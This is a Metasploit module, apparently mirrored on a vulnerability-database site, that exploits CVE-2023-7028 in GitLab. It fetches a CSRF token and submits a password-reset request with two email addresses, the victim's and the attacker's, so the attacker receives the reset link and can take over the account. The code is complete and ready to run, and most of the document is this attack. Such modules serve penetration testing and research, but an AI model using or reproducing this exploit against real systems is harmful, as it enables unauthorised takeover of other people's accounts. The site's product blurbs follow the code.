`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'GitLab Password Reset Account Takeover',
'Description' => 'This module exploits an account-take-over vulnerability that allows users
to take control of a gitlab account without user interaction.
The vulnerability lies in the password reset functionality. Its possible to provide 2 emails
and the reset code will be sent to both. It is therefore possible to provide the e-mail
address of the target account as well as that of one we control, and to reset the password.
2-factor authentication prevents this vulnerability from being exploitable. There is no
discernable difference between a vulnerable and non-vulnerable server response.
Vulnerable versions include:
16.1 < 16.1.6,
16.2 < 16.2.9,
16.3 < 16.3.7,
16.4 < 16.4.5,
16.5 < 16.5.6,
16.6 < 16.6.4,
and 16.7 < 16.7.2.',
'Author' => [
'h00die', # msf module
'asterion04' # discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-7028'],
['URL', 'https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/'],
['URL', 'https://github.com/duy-31/CVE-2023-7028']
],
'DisclosureDate' => '2024-01-11',
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETEMAIL', [ true, 'The email address of the account to compromise' ]),
OptString.new('MYEMAIL', [ true, 'An email address to also send the password reset email to' ]),
OptString.new('TARGETURI', [true, 'The path to GitLab', '/'])
]
)
end
def run_host(_ip)
vprint_status('Obtaining CSRF token')
res = send_request_cgi(
'method' => 'GET',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri, 'users', 'sign_in')
)
fail_with(Failure::Unreachable, 'No response received') if res.nil?
fail_with(Failure::UnexpectedReply, 'Unable to find CSRF token') unless res.body =~ %r{<meta name="csrf-token" content="([^"]+)" />}
print_good("Received CSRF Token: #{::Regexp.last_match(1)}")
vprint_status('Sending password reset request')
email_field_equals = "#{CGI.escape('user[email][]')}="
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'users', 'password'),
'data' => [
"#{email_field_equals}#{CGI.escape(datastore['TARGETEMAIL'])}",
"#{email_field_equals}#{CGI.escape(datastore['MYEMAIL'])}",
"authenticity_token=#{::Regexp.last_match(1)}"
].join('&')
)
fail_with(Failure::Unreachable, 'No response received') if res.nil?
if res.code == 302
print_good("Sent, check #{datastore['MYEMAIL']} for a possible password reset link (failure is blind)")
elsif res.code == 422 || res.body.include?('The change you requested was rejected.') # happened when I ran module 3 times within a minute or so
print_bad('Request failed, server rejected. Try again later or a different user')
else
print_bad("Request failed, http code: #{res.code}")
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation